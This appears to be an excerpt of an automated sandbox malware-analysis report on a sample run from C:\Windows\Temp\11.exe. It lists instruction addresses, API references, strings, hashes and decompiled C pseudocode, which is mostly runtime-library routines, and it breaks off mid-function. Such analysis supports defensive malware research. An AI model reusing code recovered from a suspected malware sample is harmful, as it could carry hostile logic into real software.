0x00402221
0x00402221
0x00402224
0x00402227
0x00402227
0x00402229
0x00000000
0x00000000
0x0040222b
0x00402231
0x00402231
0x00402236
0x00402236
0x00402239
0x0040223f
0x00402247
0x00402254
0x00402257
0x0040227b
0x0040227e
0x00402281
0x00402284
0x00402287
0x0040228a
0x0040228d
0x00000000
0x00402259
0x0040225c
0x0040225c
0x0040225e
0x0040225e
0x0040222d
0x0040222d
0x0040222f
0x00000000
0x00000000
0x0040222f
0x00000000
0x0040222b
0x004021b4
0x004021b4
0x004021ba
0x004021ba
0x004021bf
0x004021c2
0x004021cd
0x004021f1
0x004021f4
0x004021f7
0x004021fa
0x00402200
0x00402203
0x00402206
0x00402209
0x0040220c
0x0040220f
0x00402212
0x00402218
0x00402219
0x0040221c
0x00000000
0x004021b6
0x004021b6
0x004021b8
0x00000000
0x00000000
0x00000000
0x00000000
0x004021b8
0x004021b4
0x00000000
0x004021b2
0x00402261
0x00402261
0x00402266
0x00402266
0x00402269
0x0040226f
0x00402275
0x004020f8
0x004020fa
0x004020fb
0x004020fb
0x004022c9
0x004022ce
0x004022d1
0x004022da
0x004022dd
0x004022dd
0x004022e0
0x004022e3
0x004022eb
0x004022f8

APIs

__EH_prolog3_catch.LIBCMT ref: 00402077

Strings

0yE, xrefs: 00402084
hidden person Ai93 zi12, xrefs: 0040207C, 00402095

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch
String ID: 0yE$hidden person Ai93 zi12
API String ID: 3886170330-660420334
Opcode ID: 2b5d2d1600396a3645dc32059bb887306403254507162f5b8e253e14a70fcd12
Instruction ID: c8ed4c008bb7747107699aefb6e91ab1079953af8f9b92a88b3f98eb5bde49c0
Opcode Fuzzy Hash: 2b5d2d1600396a3645dc32059bb887306403254507162f5b8e253e14a70fcd12
Instruction Fuzzy Hash: 3E815BB5E012158FDB14DFA9D5848ADBBF1BF48310B2542BAE918BB3E1C6749C41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B49D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0040B52D

Strings

pow, xrefs: 0040B505, 0040B522

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: c82ead0d0899a1793261d42c31d22332ba833b3545996d3e33bb02ad97b5a766
Instruction ID: 7ce644b3b5171b61fc7e819db6e8be64cbba13fbbd6c385cd1cc815b57876bd8
Opcode Fuzzy Hash: c82ead0d0899a1793261d42c31d22332ba833b3545996d3e33bb02ad97b5a766
Instruction Fuzzy Hash: E1516E71A08102A6CB117B14DD013AB2B94DBC0755F204DBBE0D5523E9EB3D8CD69A8E

Uniqueness

Uniqueness Score: -1.00%

Function 0270B904 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 0270B994

Strings

pow, xrefs: 0270B96C, 0270B989

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: c82ead0d0899a1793261d42c31d22332ba833b3545996d3e33bb02ad97b5a766
Instruction ID: b35e79a01eafcec731ba5bc95d48ab3bcb59ffff1daf22d8d5c8af39bbdf56e9
Opcode Fuzzy Hash: c82ead0d0899a1793261d42c31d22332ba833b3545996d3e33bb02ad97b5a766
Instruction Fuzzy Hash: 4051CD61E18201D6CB127B1CC9A437B3BE8EF40708F245D68E099863E8EB30C59DCE4A

Uniqueness

Uniqueness Score: -1.00%

Function 027024D7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 194COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 027024DE

Strings

0yE, xrefs: 027024EB
hidden person Ai93 zi12, xrefs: 027024E3, 027024FC

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch
String ID: 0yE$hidden person Ai93 zi12
API String ID: 3886170330-660420334
Opcode ID: 3d6445ce29d74f31904900a1cc26783ca940436ca3b44ea192ad8fed84f9885d
Instruction ID: f85dc443300915eb6b556d54bb96a0293afc9f16229dcfc4beed60bbb5f1b4f5
Opcode Fuzzy Hash: 3d6445ce29d74f31904900a1cc26783ca940436ca3b44ea192ad8fed84f9885d
Instruction Fuzzy Hash: C0815AB6E05215CFDB14DFA8D4D88ADBBF2BF48310B6542AAE815A73A2C7309C45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00415F16 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00415F16(void* __edx, char _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t60;
				signed int _t63;
				char _t68;
				signed char _t69;
				signed int _t70;
				signed int _t80;
				signed int _t81;
				char _t82;
				signed int _t85;
				signed char _t86;
				signed int _t87;
				signed int _t89;
				void* _t90;
				intOrPtr _t91;
				signed int _t92;

				_t60 =  *0x42c014; // 0xee6350c6
				_v8 = _t60 ^ _t92;
				_t2 =  &_a4; // 0x41633b
				_t91 =  *_t2;
				if( *(_t91 + 4) == 0xfde9 || GetCPInfo( *(_t91 + 4),  &_v1820) == 0) {
					_t81 = 0;
					__eflags = 0;
					_t90 = 0x100;
					_t82 = 0;
					do {
						_t46 = _t82 - 0x61; // -97
						_t89 = _t46;
						_t47 = _t89 + 0x20; // -65
						__eflags = _t47 - 0x19;
						if(_t47 > 0x19) {
							__eflags = _t89 - 0x19;
							if(_t89 > 0x19) {
								_t63 = _t81;
							} else {
								 *(_t91 + _t82 + 0x19) =  *(_t91 + _t82 + 0x19) | 0x00000020;
								_t56 = _t82 - 0x20; // -32
								_t63 = _t56;
							}
						} else {
							 *(_t91 + _t82 + 0x19) =  *(_t91 + _t82 + 0x19) | 0x00000010;
							_t52 = _t82 + 0x20; // 0x20
							_t63 = _t52;
						}
						 *(_t91 + _t82 + 0x119) = _t63;
						_t82 = _t82 + 1;
						__eflags = _t82 - _t90;
					} while (_t82 < _t90);
					goto L26;
				} else {
					_t81 = 0;
					_t90 = 0x100;
					_t68 = 0;
					do {
						 *((char*)(_t92 + _t68 - 0x104)) = _t68;
						_t68 = _t68 + 1;
					} while (_t68 < 0x100);
					_t69 = _v1814;
					_t85 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t100 = _t69;
						if(_t69 == 0) {
							break;
						}
						_t89 =  *(_t85 + 1) & 0x000000ff;
						_t70 = _t69 & 0x000000ff;
						while(1) {
							__eflags = _t70 - _t89;
							if(_t70 > _t89) {
								break;
							}
							__eflags = _t70 - _t90;
							if(_t70 >= _t90) {
								break;
							}
							 *((char*)(_t92 + _t70 - 0x104)) = 0x20;
							_t70 = _t70 + 1;
							__eflags = _t70;
						}
						_t85 = _t85 + 2;
						__eflags = _t85;
						_t69 =  *_t85;
					}
					E00412BF3(_t89, _t100, _t81, 1,  &_v264, _t90,  &_v1800,  *(_t91 + 4), _t81);
					E00412EE0(_t100, _t81,  *((intOrPtr*)(_t91 + 0x21c)), _t90,  &_v264, _t90,  &_v520, _t90,  *(_t91 + 4), _t81);
					E00412EE0(_t100, _t81,  *((intOrPtr*)(_t91 + 0x21c)), 0x200,  &_v264, _t90,  &_v776, _t90,  *(_t91 + 4), _t81);
					_t80 = _t81;
					do {
						_t86 =  *(_t92 + _t80 * 2 - 0x704) & 0x0000ffff;
						if((_t86 & 0x00000001) == 0) {
							__eflags = _t86 & 0x00000002;
							if((_t86 & 0x00000002) == 0) {
								_t87 = _t81;
							} else {
								 *(_t91 + _t80 + 0x19) =  *(_t91 + _t80 + 0x19) | 0x00000020;
								_t87 =  *((intOrPtr*)(_t92 + _t80 - 0x304));
							}
						} else {
							 *(_t91 + _t80 + 0x19) =  *(_t91 + _t80 + 0x19) | 0x00000010;
							_t87 =  *((intOrPtr*)(_t92 + _t80 - 0x204));
						}
						 *(_t91 + _t80 + 0x119) = _t87;
						_t80 = _t80 + 1;
					} while (_t80 < _t90);
					L26:
					return E00404A89(_t63, _t81, _v8 ^ _t92, _t89, _t90, _t91);
				}
			}

0x00415f21
0x00415f28
0x00415f2d
0x00415f2d
0x00415f38
0x0041604a
0x0041604a
0x0041604c
0x00416051
0x00416053
0x00416053
0x00416053
0x00416056
0x00416059
0x0041605c
0x00416068
0x0041606b
0x00416079
0x0041606d
0x00416070
0x00416074
0x00416074
0x00416074
0x0041605e
0x0041605e
0x00416063
0x00416063
0x00416063
0x0041607b
0x00416082
0x00416083
0x00416083
0x00000000
0x00415f56
0x00415f56
0x00415f58
0x00415f5d
0x00415f5f
0x00415f5f
0x00415f66
0x00415f67
0x00415f6b
0x00415f71
0x00415f77
0x00415f9f
0x00415f9f
0x00415fa1
0x00000000
0x00000000
0x00415f80
0x00415f84
0x00415f96
0x00415f96
0x00415f98
0x00000000
0x00000000
0x00415f89
0x00415f8b
0x00000000
0x00000000
0x00415f8d
0x00415f95
0x00415f95
0x00415f95
0x00415f9a
0x00415f9a
0x00415f9d
0x00415f9d
0x00415fb9
0x00415fda
0x00416002
0x0041600a
0x0041600c
0x0041600c
0x00416017
0x00416027
0x0041602a
0x0041603a
0x0041602c
0x0041602c
0x00416031
0x00416031
0x00416019
0x00416019
0x0041601e
0x0041601e
0x0041603c
0x00416043
0x00416044
0x00416087
0x00416095
0x00416095

APIs

GetCPInfo.KERNEL32(0000FDE9,?,0000000C,00000000,00000000), ref: 00415F48

Strings

, xrefs: 00415F8D
;cA, xrefs: 00415F2D

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: Info
String ID: $;cA
API String ID: 1807457897-1334223715
Opcode ID: 4a069fec08d4a1aae25ee00770e00f30de455db098fc6b23f4efdc5f5a0e5499
Instruction ID: 422398e40b84d5588da9d8ea129cd812e8f494965752ee4d1221d53bce9ffa1d
Opcode Fuzzy Hash: 4a069fec08d4a1aae25ee00770e00f30de455db098fc6b23f4efdc5f5a0e5499
Instruction Fuzzy Hash: 1F413BB05046489EDB21CA18CD84BFB7FFDEB49308F2404AEE5CA87142D279D9C59B29

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC15 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040BC15(void* __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v12;
				char _v16;
				char* _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t26;
				intOrPtr* _t36;
				signed int _t37;
				signed int _t40;
				char _t42;
				signed int _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr _t48;
				signed int _t49;
				signed int _t54;
				void* _t57;
				intOrPtr* _t58;
				signed int _t64;
				signed int _t66;

				_t57 = __edx;
				_t48 = _a4;
				if(_t48 != 0) {
					__eflags = _t48 - 2;
					if(_t48 == 2) {
						L5:
						E0041624A(_t48);
						E00415C91(_t48, _t57, 0, 0x458078, 0, 0x458078, 0x104);
						_t26 =  *0x4581ac; // 0x9f3508
						 *0x45819c = 0x458078;
						_v20 = _t26;
						__eflags = _t26;
						if(_t26 == 0) {
							L7:
							_t26 = 0x458078;
							_v20 = 0x458078;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t64 = E0040BEBF(E0040BD4B( &_v8, _t26, 0, 0,  &_v8,  &_v16), _v8, _v16, 1);
							__eflags = _t64;
							if(__eflags != 0) {
								E0040BD4B( &_v8, _v20, _t64, _t64 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t48 - 1;
								if(_t48 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t49 = E00415BBF(_t64, _t64);
									__eflags = _t49;
									if(_t49 == 0) {
										_t58 = _v12;
										_t54 = 0;
										_t36 = _t58;
										__eflags =  *_t58;
										if( *_t58 == 0) {
											L17:
											_t37 = 0;
											 *0x4581a0 = _t54;
											_v12 = 0;
											_t49 = 0;
											 *0x4581a4 = _t58;
											L18:
											E0040F644(_t37);
											_v12 = 0;
											L19:
											E0040F644(_t64);
											_t40 = _t49;
											L20:
											return _t40;
										} else {
											goto L16;
										}
										do {
											L16:
											_t36 = _t36 + 4;
											_t54 = _t54 + 1;
											__eflags =  *_t36;
										} while ( *_t36 != 0);
										goto L17;
									}
									_t37 = _v12;
									goto L18;
								}
								_t42 = _v8 - 1;
								__eflags = _t42;
								 *0x4581a0 = _t42;
								_t43 = _t64;
								_t64 = 0;
								 *0x4581a4 = _t43;
								L12:
								_t49 = 0;
								goto L19;
							}
							_t44 = E0040938C(__eflags);
							_push(0xc);
							_pop(0);
							 *_t44 = 0;
							goto L12;
						}
						__eflags =  *_t26;
						if( *_t26 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t48 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t45 = E0040938C(__eflags);
					_t66 = 0x16;
					 *_t45 = _t66;
					E004092B2();
					_t40 = _t66;
					goto L20;
				}
				return 0;
			}

0x0040bc15
0x0040bc1e
0x0040bc23
0x0040bc2d
0x0040bc30
0x0040bc4d
0x0040bc4e
0x0040bc61
0x0040bc66
0x0040bc6e
0x0040bc74
0x0040bc77
0x0040bc79
0x0040bc80
0x0040bc80
0x0040bc82
0x0040bc85
0x0040bc88
0x0040bc8f
0x0040bca8
0x0040bcad
0x0040bcaf
0x0040bcd0
0x0040bcd8
0x0040bcdb
0x0040bcf6
0x0040bcf9
0x0040bd00
0x0040bd04
0x0040bd06
0x0040bd0d
0x0040bd10
0x0040bd12
0x0040bd14
0x0040bd16
0x0040bd20
0x0040bd20
0x0040bd22
0x0040bd28
0x0040bd2b
0x0040bd2d
0x0040bd33
0x0040bd34
0x0040bd3a
0x0040bd3d
0x0040bd3e
0x0040bd44
0x0040bd47
0x00000000
0x00000000
0x00000000
0x00000000
0x0040bd18
0x0040bd18
0x0040bd18
0x0040bd1b
0x0040bd1c
0x0040bd1c
0x00000000
0x0040bd18
0x0040bd08
0x00000000
0x0040bd08
0x0040bce0
0x0040bce0
0x0040bce1
0x0040bce6
0x0040bce8
0x0040bcea
0x0040bcef
0x0040bcef
0x00000000
0x0040bcef
0x0040bcb1
0x0040bcb6
0x0040bcb8
0x0040bcb9
0x00000000
0x0040bcb9
0x0040bc7b
0x0040bc7e
0x00000000
0x00000000
0x00000000
0x0040bc7e
0x0040bc32
0x0040bc35
0x00000000
0x00000000
0x0040bc37
0x0040bc3e
0x0040bc3f
0x0040bc41
0x0040bc46
0x00000000
0x0040bc46
0x00000000

Strings

C:\Windows\Temp\11.exe, xrefs: 0040BC58, 0040BC5F, 0040BC95

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Temp\11.exe
API String ID: 0-2924718867
Opcode ID: 624c1d22bf3dd52e1c00a8a7263d6054e2c954174f53c4bdb44361ee7b4f8a32
Instruction ID: 2afb6aa14fac43ce0e64a58215967d3dce603577a502cde503ec89c9cb8bb7aa
Opcode Fuzzy Hash: 624c1d22bf3dd52e1c00a8a7263d6054e2c954174f53c4bdb44361ee7b4f8a32
Instruction Fuzzy Hash: 70416271A04614ABDB11AB99CC819AFBBA8EF95310B14007FE801B7391DB789A41CBDC

Uniqueness

Uniqueness Score: -1.00%

Function 0270C07C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Windows\Temp\11.exe, xrefs: 0270C0BF, 0270C0C6, 0270C0FC

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Windows\Temp\11.exe
API String ID: 0-2924718867
Opcode ID: 624c1d22bf3dd52e1c00a8a7263d6054e2c954174f53c4bdb44361ee7b4f8a32
Instruction ID: af815be32851df2db8f59564264f01a00506dc191a6c1dac272486433f7f0580
Opcode Fuzzy Hash: 624c1d22bf3dd52e1c00a8a7263d6054e2c954174f53c4bdb44361ee7b4f8a32
Instruction Fuzzy Hash: 32419FB1A00214EFDB23DB99DCC499EBBF9EF95700B14426FE504A7290DB709A49CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040839D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E0040839D(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_t75 = L00407C7C(_t96, __ecx, __edx, _t113, _t121, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(L00407C7C(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E00405F13(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E00405E46(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E00407F78(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E0040B689(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x0040839d
0x0040839d
0x004083a4
0x004083ad
0x004084cc
0x004083b3
0x004083b5
0x004083bf
0x004083c2
0x004083c8
0x004083d2
0x004083f7
0x004083fc
0x00408401
0x004084c8
0x00000000
0x004084c9
0x00408401
0x004083d2
0x00408407
0x0040840a
0x0040840d
0x00408413
0x00408419
0x0040842b
0x00408430
0x00408433
0x00408436
0x00408439
0x0040843c
0x00408442
0x00408448
0x0040844b
0x0040844e
0x0040845d
0x0040845e
0x0040845e
0x00408463
0x00408476
0x00408478
0x0040847d
0x00408488
0x0040848a
0x0040848c
0x004084a8
0x004084ad
0x004084b0
0x004084b0
0x00408488
0x0040847d
0x004084b6
0x004084b7
0x004084ba
0x004084bd
0x004084c0
0x004084c3
0x0040844e
0x00000000
0x00408442
0x004084cd
0x004084d2
0x004084d6
0x004084d9
0x004084da
0x004084db
0x004084dc
0x004084e1
0x00408559
0x0040855b
0x004084e3
0x004084e3
0x004084e9
0x00000000
0x004084eb
0x004084ee
0x004084f1
0x004084f8
0x004084fb
0x004084ff
0x00408531
0x00408534
0x0040853b
0x00408541
0x0040854b
0x00408554
0x00408554
0x0040854b
0x00408541
0x00408555
0x00408501
0x00408501
0x00408501
0x00408504
0x00408504
0x00408508
0x00000000
0x00000000
0x0040850c
0x00408520
0x00408520
0x0040850e
0x0040850e
0x00408514
0x00000000
0x00408516
0x00408516
0x00408519
0x0040851e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040851e
0x00408514
0x00408529
0x0040852b
0x00000000
0x0040852d
0x0040852d
0x0040852d
0x00000000
0x0040852b
0x00408524
0x00408526
0x00000000
0x00408526
0x00000000
0x00000000
0x00000000
0x004084f1
0x004084e9
0x0040855c
0x00408560
0x00408560

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 004083C2

Strings

MOC, xrefs: 004083D4
RCC, xrefs: 004083DC

Memory Dump Source

Source File: 00000001.00000002.259896654.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.259896654.000000000044E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.259896654.0000000000456000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_11.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 2803c9d39359bf61575c51c895d04b66d88d0174b8aeaa434644a2e5a4b3d9a9
Instruction ID: f7121b1ff4b0f296b4bac8089b7fba94e99294be99d318315159969c73a4e116
Opcode Fuzzy Hash: 2803c9d39359bf61575c51c895d04b66d88d0174b8aeaa434644a2e5a4b3d9a9
Instruction Fuzzy Hash: F241687190020AAFCF15CF94CE81AAE7BB5FF48304F14816AF94477291E739A950CF55

Uniqueness

Uniqueness Score: -1.00%

Function 02708804 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 02708829

Strings

RCC, xrefs: 02708843
MOC, xrefs: 0270883B

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 2803c9d39359bf61575c51c895d04b66d88d0174b8aeaa434644a2e5a4b3d9a9
Instruction ID: 714719f839e24c7770e220d7792931b2610ff75dc2081f9c83f4e80961728197
Opcode Fuzzy Hash: 2803c9d39359bf61575c51c895d04b66d88d0174b8aeaa434644a2e5a4b3d9a9
Instruction Fuzzy Hash: 16416771900209EFCF16DF94C885AAEBBF6BF48308F158059F904A72A0D3359A64DF52

Uniqueness

Uniqueness Score: -1.00%

Function 027021B8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?), ref: 02702268

Strings

plE, xrefs: 02702244
plE, xrefs: 027022A5

Memory Dump Source

Source File: 00000001.00000002.260434500.0000000002700000.00000040.00001000.00020000.00000000.sdmp, Offset: 02700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2700000_11.jbxd

Yara matches

Similarity

API ID: HandleModule
String ID: plE$plE
API String ID: 4139908857-712955584
Opcode ID: 4ec3baf61fb76706cb9dfc14b81399c5619332e2f353dba5f8c3cb35d8f5198d
Instruction ID: 8c36e5f02838c40e25bdef85c8318e079dd59d33100384a157b76881c5e22d60
Opcode Fuzzy Hash: 4ec3baf61fb76706cb9dfc14b81399c5619332e2f353dba5f8c3cb35d8f5198d
Instruction Fuzzy Hash: A13138B3E00214ABD705DBA99C85A6FB7EAEFC5310F15816EE814D72E1DF3499048A94

Uniqueness

Uniqueness Score: -1.00%

Function 004096EE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004096EE(void* __ecx) {
				intOrPtr _t9;
				intOrPtr _t14;
				intOrPtr _t18;
				signed int _t21;
				signed int _t28;
				intOrPtr _t30;
				intOrPtr _t31;

				_t9 =  *0x45805c; // 0x200
				_t30 = 3;
				if(_t9 != 0) {
					__eflags = _t9 - _t30;
					if(_t9 < _t30) {
						_t9 = _t30;
						goto L4;
					}
				} else {
					_t9 = 0x200;
					L4:
					 *0x45805c = _t9;
				}
				 *0x458060 = E0040FEA9(_t9, 4);
				E0040F644(0);
				if( *0x458060 != 0) {
					L8:
					_t28 = 0;
					__eflags = 0;
					_t31 = 0x42c068;
					do {
						_t1 = _t31 + 0x20; // 0x42c088
						E0040FC28(__eflags, _t1, 0xfa0, 0);
						_t14 =  *0x458060; // 0xa3ca40
						 *((intOrPtr*)(_t14 + _t28 * 4)) = _t31;
						_t18 =  *((intOrPtr*)( *((intOrPtr*)(0x4582c0 + (_t28 >> 6) * 4)) + 0x18 + (_t28 & 0x0000003f) * 0x38));
						__eflags = _t18 - 0xffffffff;
						if(_t18 == 0xffffffff) {
							L12:
							 *((intOrPtr*)(_t31 + 0x10)) = 0xfffffffe;
						} else {
							__eflags = _t18 - 0xfffffffe;
							if(_t18 == 0xfffffffe) {
								goto L12;
							} else {
								__eflags = _t18;
								if(_t18 == 0) {
									goto L12;
								}
							}
						}
						_t31 = _t31 + 0x38;
						_t28 = _t28 + 1;
						__eflags = _t31 - 0x42c110;
					} while (__eflags != 0);
					__eflags = 0;
					return 0;
				} else {
					 *0x45805c = _t30;
					 *0x458060 = E0040FEA9(_t30, 4);
